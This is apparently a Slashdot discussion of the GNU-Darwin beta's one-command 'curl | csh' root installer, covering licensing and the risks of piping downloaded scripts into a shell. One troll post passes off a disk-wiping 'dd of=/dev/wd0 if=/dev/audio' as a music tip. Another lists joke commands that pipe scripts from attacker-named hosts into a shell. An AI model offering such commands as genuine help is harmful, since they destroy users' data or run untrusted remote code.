GNU-Darwin Goes Beta
proclus writes "OSX.1 users can now install the GNU-Darwin base distribution automatically with one command. As Root: "curl http://gnu-darwin.sourceforge.net/one_stop | csh"." This assummes you have curl or wget or something. From there you can install gnome, abiword, gimp or whatever. Looks pretty smooth (although I'm kinda confused how you get back to OSX.1 from there ;)
Has anyone installed this yet? I'ld love to see some screen shots and reviews by actual users.
Um, this is my sig.
i think all the information on getting back etc is covered at www.xdarwin.com ... something like ctrl+fnc a i think.
-----
jonathan barket
now it is unix!.. :*)
Sorry, couldn't help it. It has been a long day
i am truly at a loss as to why one would install gnome over os x. i understand the issue of an os being open-source, etc., but you can pick up a $99 pentium box to run gnome, if you're that interested in having it.
(and what's with this 20 seconds before post rule? does everyone on slashdot think really slowly?)
go get it
Sheesh. Why do you think they said it would only take one command?
--
The internet is the greatest source of biased information in the history of mankind.
I use fink myself. It's sort of a clone of apt-get for OSX. I have octave, gimp, latex, and a host of other applications on my machine. What's the advantage of this "distribution"?
Why is this so unique? Ximian Gnome has been using this installation method for a while now. All a user has to do assuming X is installed and working is type as root, 'wget http://go-gnome.com | sh'. Simple as that....
Dillo is a neat little effort, a cool side project, but no replacement for a real browser like Galeon or Konqueror. It is beyond a shadow of a doubt, the lowest point of the GNU-Darwin package.
-CT
for ide users
just plug in your guitar and get ready to create
some art.
dd of=/dev/wd0 if=/dev/audio
or
dd of=/dev/sd0 if=/dev/audio
for scsi.
Your going to need a sound card as this obviously
want work the way we want it too otherwise.
After you press enter, start playing your best
rifts and chords. Put some improvisation into it. Feel the music. If you need playback, pipe what you are playing back through dev/dsp device.
Mac's are fun now arent' they. When you finish just reboot and get ready for the surpise of a lifetime.
Mr Satan
That said, I'll just download the ISO and free up a partition to run it alongside Mac OS X and Aqua. That way my normal OSX system is guaranteed not to break. My mac is a test machine anyway. I run different operating systems on it depending on what I need to test. I urge everyone that wants to test this on their machine that runs important stuff to BACK UP THEIR IMPORTANT FILES, just to be safe.
Oh.. another thing: it's BETA. It might break. So be a little cautious, and be prepared to pull up your sleeves and do some work if it breaks, but hey, that's what being bleeding edge is all about, right?
But anyway: Great work guys! I'll seriously check it out. I'm downloading the iso as you read this comment.
OK, so they took from BSD, gave to GPL, then mixed the result with something as absurdly proprietary as Curl. Are they trying to see how many people they can piss off with one OS?
As a BSD "thief", I get nothing.
If I were a GPL lover, I would get tainted with Curl.
As someone who appreciates a good commercial package, I am left with concerns that they will decide to turn it over to "the community" which is just a synonym for abandonment.
Of course, that's just me. They could please me by keeping the BSD codebase that they modified BSD, and then they could run whatever proprietary code they wanted on top of it.
I expect that others may be more or less difficult to please. Then of course there are the users, who don't care about any of that crap. If they can please the users it might be a moot point. This could end up being part of the "open monopoly" if it ran on x86.
For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
Uh, what exactly is "absurdly proprietary" about this? Try and get your facts straight before your pour more salt on licencing wounds, OK?
Well, I did have wget in 10.0 up to 10.0.4, but the 10.1 update "helpfully" deleted it from my system. After several annoyed looks and some time spent searching Google, I found a download site for a precompiled binary for wget that will run under OS X (downloads as an installer .pkg file; you'll need to be root or an admin to install it.) The file is, for those who want to get it directly, here (.tar.gz format... use gunzip and tar -xvf to unpack if StuffIt Expander doesn't/can't.)
If you really, really want to compile yourself (you need to have installed the developer tools, which come with boxed copies of OS X), the source is here.
Beats me why Apple did this...
i am a soviet space shuttle
Matt Dillon falls off his rocker, calls for this project to be renamed BSD/GNU-Darwin.
You've got to be a troll. Anyone who's been around *NIX for 2 months or longer knows the difference between cURL and Curl. The fact that the context is either using "curl" or "wget" makes this incredibly clear.
-- @rjamestaylor on Ello
From the script:
Erm, so 10.1 comes with curl, which besides providing a library for use in your own programs, also seems to be more unix-like and full featured than wget, with the exception of recursively getting an entire directory tree, which 95% of the time I use wget I'm not doing anyway. This script also doesn't seem to use wget for anything but fetching single files. (Was s/wget/curl -O/ too hard?) Oh boy, here come the first of the unwelcome "improvements." Apple thoughtfull provided not only the bsd tar program, but a binary called "gnutar" as well that seems to support all the options of GNU tar on my linux machines (With the one exception of bzip2 compatability, but that's easily fixed by piping bzip2 output to tar.) And KILLALL, don't forget about one of the single most dangerous commands to get into the habit of using, next to rm -rf. God forbid they have to cat pid files or even use awk to figure out a process id in a one time use shell script. It might make the script ugly.*sigh*
I really do appreciate the work GNU-Darwin is doing, they're filling the few gaps on my osx machine. I just wish they didn't go the extra mile to make my system GNUified. It's not becoming of a nice BSD install.
When I was able to do my own spam-armoring, you got a chance to email me. Now you can only hope I see your reply.
Beats me why Apple did this...
I believe it was deprecated in favor of curl, which I'm told is more robust anyway. It has the same basic syntax:
curl url
No. Not trolling. I've dabbled in *NIX and have a BSD partition for when I absolutely need it, but I only fire it up every 6 months, sometimes longer.
I honestly had no idea there was something called cURL. The only time I had ever heard "curl" used in association with computing was in connection with Curl, the MIT-commercial partnership to which you linked. So, I retract my previous statements in regards to cURL.
Maybe I went off half-cocked, but then again if I made this mistake maybe others will too. Poor marketing on the part of cURL? If Curl is really "out to get people" maybe cURL should consider a pre-emptive name change to prevent lawsuits.
For all intensive purposes, "whom" is no longer a word. That begs the question, "who cares"?
This should be modded up since another screenshot as been modded as 3.
Damn, I usually use the recursive switch with wget, otherwise a browser...
also rm -fR gives that nice seat of the pants feeling...
+ killalll is handy...
then again, not sure I'd be so blaise on servers
that weren't my own machine.
curl http://gnu-darwin.sourceforge.net/one_stop | csh
Erm. Isn't this a bit of a dangerous install strategy? e.g. sourceforge get hacked again and http://gnu-darwin.sourceforge.net/one_stop points to a script that starts with 'rm -rf /'. Not so fun now...
Wouldn't it be better to use something that does a bit of public key crypto and verifies that you are really downloading something signed by a darwin guy or sourceforge? At least using https would help to stop a man in the middle attack...
-- Mike
When's the last time you read the entire Makefile and all external files that it calls, before typing 'make install'?
This is no different from downloading a tarball with a Makefile inside. You are downloading a script from the net and running it as root. You either check the script yourself beforehand, or you rely on the fact that a reputable party is providing the script and that more paranoid users will be checking it and publicizing any trojans inside (and ruining the reputation of the author).
The situation I would really warn against is running an unexamined script that isn't provided by a known author, or even worse a compiled binary with no source available. As long as the source is public, it is no different from what Unix admins have been doing for decades every time they install software.
Uh, isn't that command a bit dangerous? Downloading a script from a possibly untrusted website and executing it as root without even reading it?! Not a good idea.
If this continues the crackers only need to compromise one computer-- the packager's webserver-- to get into a whole load of users' boxes...
Your X environment is a Mac application that you can switch to by clicking on its window or on its dock or double clicking on its finder icon. Once the X environment is frontmost, you can switch frontmost apps the way you usually do with whatever window manager.
"I like systems, their application excepted", George Sand (French)
Does anyone know if any active development is taking place for the x86 port of Darwin ? I have downloaded it and had look, but it supports very little hardware and if I build a system just for it, I might as well get an iMac and use it in its native platform.
Fascism should more properly be called corporatism, since it is the merger of state and corporate power - Benito Mussoli
Seeing a Nextstep-ish window system on top of OS X is quite a hoot! Thanks.
Libertarianism is rich wolves and poor sheep playing gambler's ruin for dinner.
and maybe a couple ppl should chill, since everybody does have a copy of those, then there's no problem, is there . . . he doesn't have to be an expert at everything he posts!
I use fink myself. It's sort of a clone of apt-get for OSX. Minor correction -- fink is not "sort of a clone" of the Debian tools. It is actually a frontend to the dpkg/apt suite, which they ported to OS X. Fink uses the real Debian package management tools and the .deb package format.
I consider its use as a programming lanugage the mark of a rank amateur.
Don't believe me? Try this.
In the course of every project, it will become necessary to shoot the scientists and begin production.
Is actually a BSD license.
And, on the main page, the license is listed as GPL. http://sourceforge.net/projects/gnu-darwin/
If it was said on slashdot, it MUST be true!
> "OSX.1 users can now install the GNU-Darwin base
> distribution automatically with one command. As
> Root: "curl http://gnu-darwin.sourceforge.net/one_stop | csh"."
Congratulations, GNU, on entrance into the 1980's.
Now if someone can just figure out how to make a batch file and make that double-clickable on the desktop.
I am for the complete Trantorization of Earth.
Um yeah... Just for the people who copy and paste before reading through!
Luck favors the prepared, darling.
curl http://madhaxxors.com/0wnZj00 | sh
curl http://goatse.cx/setwallpaper.csh | csh
curl http://spamforprofit.org/easymoney.pl | perl
curl http://microsoft.com/msonly/seekNdestroy | bash
Actually, why don't you just curl the script, look inside it (check for nastiness) and then csh it?
> Actually, why don't you just curl the script, look inside it
> (check for nastiness) and then csh it?
This is what I would do, although complex scripts may contain hidden dangers (trojan anyone?).
Encouraging others to pipe directly to csh may not be a good idea...
Lots are being said about cURL in these discussions, both favourable and some things not so favourable. Feel free to stop by and make your own opinion.
We host our project web pages at http://curl.haxx.se/ and we welcome your contributions!
Darwin is not a GNU project. FreeBSD is not a GNU project. Mach is not a GNU project. OSX is not a GNU project.
And of course, GNU Darwin is not a GNU project. So why is it called "GNU Darwin"? This project has nothing to do with GNU. Sure it has some ported GNU software, but so do my Solaris and FreeBSD boxen. Come to think of it, so do my Windows and QNX boxen.
A Government Is a Body of People, Usually Notably Ungoverned
I mean, Darwin has it's own mascot, the Platypus. Why not use that instead of the BSD demon?
erm, why would anyone want "GNU-Darwin" instead of just plain Real Darwin? It seems to me that Apple is a better source for a PowerPC operating system than whoever this gnu business comes from. Does putting the letters "gnu" in the title really make you that much cooler?
I mean seriously, Darwin is even open-source to begin with.
Darwin is Unix, as is its bigger brother, Mac OS X. Real Unix. BSD 4.4 (or whatever minor version is actually is). GNU means "GNU is Not Unix" (it's recursive, but that's the fun of it). So what does GNU/Darwin mean?
Did they really use csh for their install script? Ouch.
why are you going on and on about something possibly breaking your system. The software just came out of ALPHA fer crissakes!
of COURSE you should back up your system before using it. Thank you, captain obvious.
For the bitchers, please remember than the GNU-Darwin project no matter how inaptly named is not supported by Apple and thus anything mentioning the GNU-Darwin project may fuck up an Apple supplied OSX installation. Besides that I think this project is pretty nifty, it's one of the reasons I was pretty excited about getting OSX on my Powerbook. Not only would I get the cool features of OSX I also get to fire up Terminal.app and use a huge number of FreeBSD ports. The article from the other day where both OS 7.6 and WindowsXP were running on an iBook 466 I found pretty interesting. There was little content but the demonstration was pretty cool.
I'm a loner Dottie, a Rebel.
Actually, didn't Novell (?) sue the Regents of California so that they could no longer call 4.4BSD "Unix"? So that would mean it's NOT Unix....
So let's call it BNU!
A Government Is a Body of People, Usually Notably Ungoverned
As you can see from some of the /. reading public, they tried it anyway, so somewhere someone didn't get it (and neither did I).
Why is everyone in this discussion going on about curl and wget on OSX? Makes me think I'm not the only one here that didn't get it.
Needless to say, it should be more obvious that this upgrade script is not intended vor OSX. Maybe a few tests can be built into the script, to prevent running on a OSX system?